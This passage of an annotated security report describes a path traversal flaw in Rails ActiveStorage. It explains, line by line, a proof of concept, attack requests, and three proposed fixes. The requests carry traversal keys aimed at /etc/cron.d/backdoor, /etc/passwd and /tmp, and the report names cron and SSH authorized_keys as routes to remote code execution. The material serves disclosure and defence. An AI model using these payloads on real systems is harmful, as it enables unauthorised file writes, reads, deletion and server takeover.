puts "Resolved path: #{resolved}"
puts "Escaped root?: #{!resolved.start_with?(storage_root)}" # => true
Line by line:
- The comment says this simulates what application code would do.
user = User.new(name: "test")creates an unsaved user record with a name.user.avatar.attach(calls the attach method on the avatar attribute, the same call a real application would make.io: StringIO.new("arbitrary content")supplies the file contents in memory.filename: "innocent.txt"gives a harmless name, to show that the name is not what matters.key: "../../tmp/activestorage_poc_#{SecureRandom.hex(4)}"supplies the key. The#{...}is Ruby string interpolation: it inserts the result of the expression inside.user.save!saves the user to the database. The exclamation mark means "raise an error if saving fails", so a silent failure cannot hide a problem.poc_key = user.avatar.blob.keyreads back the key that was actually stored on the blob.resolved = File.expand_path(service.path_for(poc_key))turns the path into a clean, absolute path with all the..segments resolved.File.expand_pathis the operating system's way of saying "tell me where this really points".storage_root = File.expand_path(service.root)does the same for the storage root, so the two can be compared fairly.puts "Key: #{poc_key}"prints the key.puts "Resolved path: #{resolved}"prints the real location.puts "Escaped root?: #{!resolved.start_with?(storage_root)}"printstrueif the resolved path does not start with the storage root. The!negatesstart_with?, so the expression is true exactly when the file is outside the root.- The comment
# => trueshows the expected result.
The final check compares the expanded path with the expanded storage root and reports that the file landed outside it. This step matters because it proves the whole chain end to end through the normal .attach() call, not just through the lower-level methods.
Scenario A: JSON API with a user-specified storage path
The guide documents key: for S3 folder organisation. S3 is Amazon's cloud file storage; there, keys look like folder paths, and using them to organise files is normal. A developer building an API may extend that pattern to user-specified paths:
class Api::V1::DocumentsController < ApiController
def create
file = decode_base64_upload(params[:file_data])
@project.documents.attach(
io: file,
filename: params[:filename],
content_type: params[:content_type],
key: "projects/#{@project.id}/#{params[:path]}" # user input in key
)
render json: { status: "uploaded" }
end
end
Line by line:
class Api::V1::DocumentsController < ApiControllerdeclares a controller, the part of a Rails application that handles a particular kind of request. This one handles documents in version 1 of the API.def createis the action that runs when a client sends a request to create a document.file = decode_base64_upload(params[:file_data])takes thefile_datafield from the request and decodes it. Base64 is a way of writing binary data as plain text so it can travel inside JSON.paramsis the collection of values the client sent.@project.documents.attach(attaches the file to the project's documents.io: filesupplies the decoded file contents.filename: params[:filename]takes the file name from the request.content_type: params[:content_type]takes the file type from the request.key: "projects/#{@project.id}/#{params[:path]}"builds the key from the project's id and, crucially, fromparams[:path], which the client controls. The comment# user input in keyflags the danger.render json: { status: "uploaded" }sends a small JSON reply saying the upload succeeded.
The attack request:
POST /api/v1/documents HTTP/1.1
Content-Type: application/json
{
"file_data": "KiBldmlsIGNyb250YWIgZW50cnkK",
"filename": "notes.txt",
"content_type": "text/plain",
"path": "../../../../etc/cron.d/backdoor"
}
Line by line:
POST /api/v1/documents HTTP/1.1is the request line: the method is POST (send data), the address is the documents endpoint, and the protocol version is HTTP/1.1.Content-Type: application/jsontells the server the body is JSON.- The blank line separates the headers from the body.
"file_data": "KiBldmlsIGNyb250YWIgZW50cnkK"is the file contents, base64-encoded. Decoded, it is a line that looks like a cron entry."filename": "notes.txt"is a harmless name."content_type": "text/plain"says the file is plain text."path": "../../../../etc/cron.d/backdoor"is the attacker's contribution. Four../climb four folders up from wherever the key starts, then the path goes into/etc/cron.d/and names a file calledbackdoor.
The path value is concatenated into the key, and the traversal segments climb out of the storage root. The report states that the uploaded content is written to /etc/cron.d/backdoor if the process has the necessary permissions, which yields remote code execution through cron. The permission caveat matters: a web server often runs as a limited user that cannot write to system folders, but not always, and the report is careful to say "if".
Scenario B: Hash attachable with unsanitised params
Here the developer permits the key parameter through Strong Parameters, following the documented feature:
class AssetsController < ApplicationController
def create
current_user.avatar.attach(avatar_params.merge(io: params[:file].tempfile))
end
private
def avatar_params
params.require(:avatar).permit(:filename, :content_type, :key)
end
end
Line by line:
class AssetsController < ApplicationControllerdeclares a controller for assets.def createis the action for creating an asset.current_user.avatar.attach(avatar_params.merge(io: params[:file].tempfile))attaches a file to the logged-in user's avatar.avatar_paramsis the filtered hash of allowed fields;.merge(io: ...)adds the uploaded file's temporary location to it.params[:file].tempfileis the temporary file the web server saved the upload to.privatemarks the following methods as internal helpers, not actions a client can call directly.def avatar_paramsdeclares the helper that filters the request.params.require(:avatar).permit(:filename, :content_type, :key)says: the request must contain anavatarsection, and from it allow onlyfilename,content_typeandkey. The presence of:keyon the list is the mistake: the visitor's key is allowed through.
The attack request:
POST /assets HTTP/1.1
Content-Type: multipart/form-data
avatar[filename]=photo.jpg
avatar[content_type]=image/jpeg
avatar[key]=../../../../../../tmp/malicious_payload
[email protected]
Line by line:
POST /assets HTTP/1.1sends data to the assets endpoint.Content-Type: multipart/form-datasays the body is a form with several parts, which is how browsers upload files.avatar[filename]=photo.jpgsets the filename field inside the avatar section.avatar[content_type]=image/jpegsets the content type.avatar[key]=../../../../../../tmp/malicious_payloadsets the key to a traversal path ending in/tmp/malicious_payload. Six../climb six folders up, then the path goes into the temporary folder and names a file.[email protected]attaches a real file from disk. The@means "read the contents from this file".
The permitted key reaches .attach() inside the Hash and is splatted through to the blob. The result is an arbitrary file write to /tmp/malicious_payload. This scenario matters because it uses only the documented feature and a normal-looking Strong Parameters list; nothing exotic is required.
Scenario C: Nested attributes and model assignment
When has_one_attached generates an attribute setter, Hash values flow through the same vulnerable path:
class User < ApplicationRecord
has_one_attached :avatar
end
class UsersController < ApplicationController
def update
@user.update!(user_params)
end
private
def user_params
params.require(:user).permit(:name, avatar: {}) # permissive Hash permit
end
end
Line by line:
class User < ApplicationRecorddeclares the user model, backed by a database table.has_one_attached :avatarsays each user can have one attached avatar.class UsersController < ApplicationControllerdeclares the controller for users.def updateis the action that runs when a user is edited.@user.update!(user_params)applies the filtered fields to the user and saves. The exclamation mark means "raise an error if saving fails".privatemarks the helper as internal.def user_paramsdeclares the filter.params.require(:user).permit(:name, avatar: {})allows thenamefield and, crucially, allows the wholeavatarsection as an open hash. The comment# permissive Hash permitflags this:avatar: {}means "accept any fields inside avatar", includingkey.
A JSON body such as { "user": { "avatar": { "io": ..., "filename": "x.jpg", "key": "../../sensitive" } } } injects the key through the model assignment path. This scenario matters because the developer may never have thought about the key at all: they just allowed the whole avatar section, and the key came along for the ride.
Scenario D: Arbitrary file read via download
Once a blob with a malicious key is persisted, any later blob.download reads from the traversed path:
# After malicious blob is saved with key: "../../etc/passwd"
blob = ActiveStorage::Blob.find(malicious_blob_id)
content = blob.download # reads /etc/passwd via DiskService
Line by line:
- The comment sets the scene: a blob with a traversal key has already been saved.
blob = ActiveStorage::Blob.find(malicious_blob_id)loads that blob from the database by its id.content = blob.downloadasks the blob for its contents. The comment notes that this reads/etc/passwdthrough DiskService./etc/passwdis a classic Linux file listing user accounts; reading it is a common proof that a file-read flaw works.
If the application exposes blob content through any controller, such as the default BlobsController or a custom download endpoint, the attacker can read arbitrary files. This scenario matters because the write step is not the only danger: once a bad key is stored, every later read follows the same path.
Scenario E: Arbitrary file delete via purge
# Blob with key: "../../important_app_config.yml"
blob.purge # calls service.delete(key) → File.delete(path_for(key))
Line by line:
- The comment sets the scene: a blob whose key points at an important configuration file.
blob.purgedeletes the blob and its file. The comment traces the call:service.delete(key)callsFile.delete(path_for(key)), so the file removed is the one the traversed path points at.
Purging the blob, or automatic cleanup of unattached blobs, deletes the traversed file path. This scenario matters because deletion can happen without the attacker asking for it directly: many applications clean up files that are no longer attached, and that cleanup follows the same key.
Root cause
The defect is a missing trust boundary between the caller-supplied key and the filesystem path derived from it. Each layer assumes another has validated the key:
- The Hash attachable forwards every key in the Hash, including
key:, without filtering. build_after_unfurlingacceptskey:and passes it toBlob.newunchanged.has_secure_tokenonly fills in a key when the attribute is blank, so a pre-set key survives.DiskService#path_forjoins the root, the folder prefix and the key withFile.join, which does not sanitise../.- The blob model has no format validation on
key; the databaseNOT NULLandUNIQUEconstraints do not restrict characters.
A useful comparison is a parcel that passes through five sorting offices. Each office assumes the previous one checked the address. Nobody does, and the parcel ends up at the wrong house. In software, this pattern is common: each layer is reasonable on its own, and the gap only appears when you follow the whole chain.
The documented key: feature encourages developers to construct keys from dynamic values, which increases the likelihood that user input reaches this path. The report notes that the severity depends on application-level exposure: the framework flaw only becomes exploitable when an application lets user input into the Hash passed to .attach().
Impact
The report maps each DiskService operation to a primitive. A primitive here means a basic capability the attacker gains, which can then be combined with others.
| Operation | DiskService Method | Primitive |
|---|---|---|
upload |
IO.copy_stream(io, make_path_for(key)) |
Arbitrary file write + directory creation via mkdir_p |
download |
File.binread path_for(key) |
Arbitrary file read |
delete |
File.delete path_for(key) |
Arbitrary file delete |
delete_prefixed |
Dir.glob(path_for("#{prefix}*") + rm_rf |
Glob-based mass delete |
exist? |
File.exist? path_for(key) |
File existence oracle |
What each row means:
- Upload copies the incoming bytes to the computed path.
mkdir_pcreates any missing folders along the way, so the attacker does not need the folders to exist beforehand. The primitive is arbitrary file write: the attacker can create a file with chosen contents at a chosen location. - Download reads the file at the computed path and returns its bytes. The primitive is arbitrary file read: the attacker can see files they should not see.
- Delete removes the file at the computed path. The primitive is arbitrary file delete: the attacker can destroy files.
delete_prefixedremoves every file whose path starts with a given prefix.Dir.globfinds files matching a pattern, andrm_rfremoves them recursively. The primitive is mass delete: one call can wipe many files.exist?answers whether a file exists at the computed path. The primitive is a file existence oracle: the attacker can ask yes/no questions about the server's files, one path at a time, and learn the layout without reading anything.
With arbitrary file write, the report says an attacker can achieve remote code execution by writing to cron directories (/etc/cron.d/), SSH authorised keys (~/.ssh/authorized_keys), application initialisers or configuration files, and Puma/Unicorn restart-watched files. These outcomes depend on the permissions of the process running the application.
A word on each target:
- Cron directories run scheduled commands, as explained earlier.
- SSH authorised keys is a file listing the public keys that may log in to an account without a password. Writing to it lets an attacker add their own key and log in.
- Application initialisers or configuration files are read when the application starts, so changing them changes what the application does.
- Puma/Unicorn restart-watched files are watched by the web server processes; touching them can trigger a restart that loads the attacker's changes.
Who is affected, per the report:
- Applications using DiskService, which is the default in development and is used in production for small or single-server deployments and on-premises environments.
- Applications where any user input flows into the Hash passed to
.attach(), particularly thekey:field. - The guide's documented
key:pattern encourages constructing keys from dynamic values, which increases the likelihood of user input reaching this code path.
Fix
The report proposes three options and recommends combining A and B for defence in depth. Defence in depth means layering several protections so that if one fails, another still holds.
Option A: Validate key format on the blob model (recommended)
# activestorage/app/models/active_storage/blob.rb
validates :key, format: {
with: /\A[a-zA-Z0-9\-_]+\z/,
message: "contains invalid characters"
}
Line by line:
- The comment names the file to change.
validates :key, format: {adds a rule about thekeyattribute, checking its format.with: /\A[a-zA-Z0-9\-_]+\z/is the pattern the key must match.\Ameans "start of the string",\zmeans "end of the string", and the character class allows only letters, digits, hyphens and underscores, one or more times. Dots and slashes are not allowed, so../cannot pass.message: "contains invalid characters"is the error shown when the rule fails.
This option stops the bad key at the door: if the key cannot contain dots or slashes, it cannot traverse.
Option B: Sanitise in DiskService#path_for
Verify that the resolved path stays within the root directory:
# activestorage/lib/active_storage/service/disk_service.rb
def path_for(key)
path = File.join(root, folder_for(key), key)
full_path = File.expand_path(path)
raise ArgumentError, "key escapes storage root" unless full_path.start_with?(File.expand_path(root))
full_path
end
Line by line:
- The comment names the file to change.
def path_for(key)declares the method.path = File.join(root, folder_for(key), key)builds the path exactly as before.full_path = File.expand_path(path)resolves all the..segments into a clean absolute path.raise ArgumentError, "key escapes storage root" unless full_path.start_with?(File.expand_path(root))checks whether the resolved path still begins with the resolved root. If it does not, the method raises an error and refuses to continue.unlessmeans "if not".full_pathreturns the safe path.
This option checks the result after the fact: even if a bad key gets through, the path is rejected before any file operation happens.
Option C: Strip key from the Hash attachable
Prevent the key: parameter from being accepted through the Hash attachable path:
# activestorage/lib/active_storage/attached/changes/create_one.rb
when Hash
ActiveStorage::Blob.build_after_unfurling(
**attachable.except(:key, "key").reverse_merge(
record: record,
service_name: attachment_service_name
).symbolize_keys
)
Line by line:
- The comment names the file to change.
when Hashhandles the case where a Hash was passed.**attachable.except(:key, "key")is the key change: before splatting, remove thekeyfield, whether it is written as a symbol (:key) or a string ("key"). The rest of the hash is passed as before..reverse_merge(...)and.symbolize_keysdo the same as in the original code.
This option closes the front door: the key simply cannot be supplied through the Hash path at all.
Variants to test
The report lists things a tester can look for in a real application. These are useful because the framework flaw only matters when an application exposes it.
- Permitted
keyin Strong Parameters. Look for controllers that permit:keyinside an attachment Hash. A positive result is a stored blob whosekeycontains../and whose file lands outside the storage root. - Keys built from path parameters. Look for code that interpolates a request parameter into a key string, as in Scenario A. A positive result is a write to a path outside the root, confirmed by comparing
File.expand_path(service.path_for(key))withFile.expand_path(service.root). - Nested attribute assignment. Look for
has_one_attachedorhas_many_attachedmodels updated with a permissive Hash permit such asavatar: {}. A positive result is a blob created with an attacker-chosen key through a normalupdaterequest. - Read through download endpoints. Once a malicious blob exists, request it through the default
BlobsControlleror any custom download action. A positive result is the contents of a file outside the storage root. - Delete through purge or cleanup. Trigger
purgeor unattached-blob cleanup on a malicious blob. A positive result is the removal of a file outside the storage root. - Existence oracle. Use
exist?with traversal keys to probe for files on the server. A positive result is a difference in behaviour between existing and non-existing paths. - Glob-based mass delete. Exercise
delete_prefixedwith a prefix that traverses out of the root. A positive result is the removal of multiple files outside the storage root.
Glossary
- ActiveStorage: the part of Ruby on Rails that handles file attachments.
- API: a way for one program to talk to another over a network, usually by sending and receiving structured data.
- Arbitrary file delete: the ability to delete any file the server process can reach, not just files the application intended to manage.
- Arbitrary file read: the ability to read any file the server process can reach.
- Arbitrary file write: the ability to create or overwrite any file the server process can reach.
- Base64: a way of writing binary data as plain text so it can travel inside formats like JSON.
- Blob: ActiveStorage's record describing a stored file, including its key, name, type and size.
- Controller: the part of a Rails application that handles a particular kind of request.
- Cron: a Linux scheduler that runs commands at set times, reading job files from
/etc/cron.d/and similar folders. - CVSS: a scoring system for the severity of a security flaw, from 0 to 10.
- Defence in depth: layering several protections so that if one fails, another still holds.
- DiskService: the ActiveStorage service that stores files on the server's local disk under a configured root folder.
- File existence oracle: a way to ask yes/no questions about which files exist on a server, one path at a time.
- File path: the address of a file on a computer, with folders separated by slashes.
- Glob: a pattern that matches many file names at once, such as
prefix*. - Hash: a collection of labelled values, like a form with fields.
has_one_attached: a Rails declaration saying a model can have one attached file.has_secure_token: a Rails feature that fills an attribute with a random token, but only when the attribute is blank.- JSON: a text format for structured data, widely used by APIs.
- Key (storage): the name ActiveStorage gives a file on disk, normally a random token.
- Model: a Ruby class representing a database table, such as
User. - Multipart form data: the format browsers use to upload files along with other form fields.
- Path traversal: an attack that uses
../to climb out of an intended folder and reach other parts of the filesystem. - Primitive: a basic capability an attacker gains, which can be combined with others.
- Puma/Unicorn: web server programs for Ruby applications that can watch files and restart when they change.
- Purge: deleting a blob and its stored file.
- Rails console: an interactive prompt where a developer can run Ruby code against a Rails application.
- Remote Code Execution (RCE): the ability to make a server run programs of the attacker's choosing.
- Root (storage root): the folder under which ActiveStorage is supposed to keep all files.
- S3: Amazon's cloud file storage service, where keys often look like folder paths.
- Splat (
**): Ruby's operator for passing every key-value pair of a hash as separate named arguments. - SSH authorised keys: a file listing public keys that may log in to an account without a password.
- Strong Parameters: a Rails feature that decides which request fields are allowed through to the application.
- Symbol: a Ruby label written with a leading colon, such as
:key. - Token: a short, hard-to-guess string that stands in for something else, often generated at random.
../: the special folder name meaning "the folder above this one".